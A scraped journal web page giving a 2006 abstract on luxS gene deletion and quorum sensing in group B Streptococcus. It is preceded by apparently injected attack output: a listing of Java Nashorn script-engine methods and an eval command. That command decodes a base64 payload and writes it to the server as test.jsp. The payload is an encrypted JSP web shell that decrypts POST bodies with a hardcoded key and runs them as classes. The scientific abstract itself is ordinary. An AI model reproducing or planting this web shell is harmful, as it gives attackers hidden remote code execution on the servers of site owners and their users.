public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2006, Vol. 26 ›› Issue (01): 117-121.

Previous Articles     Next Articles

Phenotypic analysis of luxS gene deletion mutants and its application in virulence regulation research in group B Streptococcus

OUYANG Qian, MA Wen-li, LIU Cui-hua, SHi Rong, ZHENG Wen-ling Institute of Genetic Engineering, Southern Medical University, Guangzhou 510515, China; South China Genome Center, Guangzhou 510800, China   

  1. 南方医科大学基因工程研究所； 华南基因组中心 广东 广州 510515； 广东 广州 510515； 广东 广州 510800；
  • Online:2006-01-20 Published:2006-01-20

PDF

1126

Abstract: Objective To explore the mechanism of virulence regulation in group B streptococcus (BGS) by studying LuxS-re-lated AI-2 quorum-sensing pathway in GBS. Methods luxS gene deletion mutants of GBS (△ lusX) were characterized by reverse transcription (RT)-PCR, colony immunoblot analysis, growth curve measurment, and cAMP determination. Functional analysis of luxS in the deletion mutants was conducted by bioluminescence assay. Results Genetic analysis results showed that the luxS deletion in the mutant 515-△lusX caused upregulation of scpB gene expression. Phenotypic analysis revealed that, in comparison with the wild strain, 515-△lusX mutant grew slowly in CDM media but quickly in THY media. An approximately two-fold decrement in bioluminescence was detected in the luxS deletion mutants as compared with the wild strain. Conclusion This study confirms the importance of LuxS molecule in the AI-2 quorum-sensing pathway in GBS and provides new insights into the virulence regulation mechanism of GBS.

CLC Number: